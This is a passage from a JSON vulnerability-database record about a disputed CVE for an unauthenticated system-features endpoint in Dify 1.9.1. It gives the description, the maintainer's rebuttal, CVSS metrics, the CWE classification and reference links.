An unauthenticated attacker can directly send HTTP GET requests to the /console/api/system-features endpoint without any authentication credentials or session tokens. The endpoint fails to implement proper authorization checks, allowing anonymous access to sensitive system configuration data. NOTE: The maintainer states that the endpoint is unauthenticated by design and serves as a bootstrap mechanism required for the dashboard initialization. They also state that the description inaccurately classifies the returned data as sensitive system configuration, stating that the data is non-sensitive and required for client-side rendering. No PII, credentials, or secrets are exposed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langgenius:dify:1.9.1:*:*:*:*:node.js:*:*", "matchCriteriaId": "ABF9FC69-C390-446E-830C-5F8B0A0488F2"}]}]}], "references": [{"url": "https://gist.github.com/Cristliu/cddc0cbbf354de51106ab63a11be94af", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/Cristliu/dfc5f3a31dc6d7fff2754867e5c649a5", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/discussions", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/langgenius/dify/issues/31368#issuecomment-3783712203", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/31392", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/31417", "source": "[email protected]"}]}}
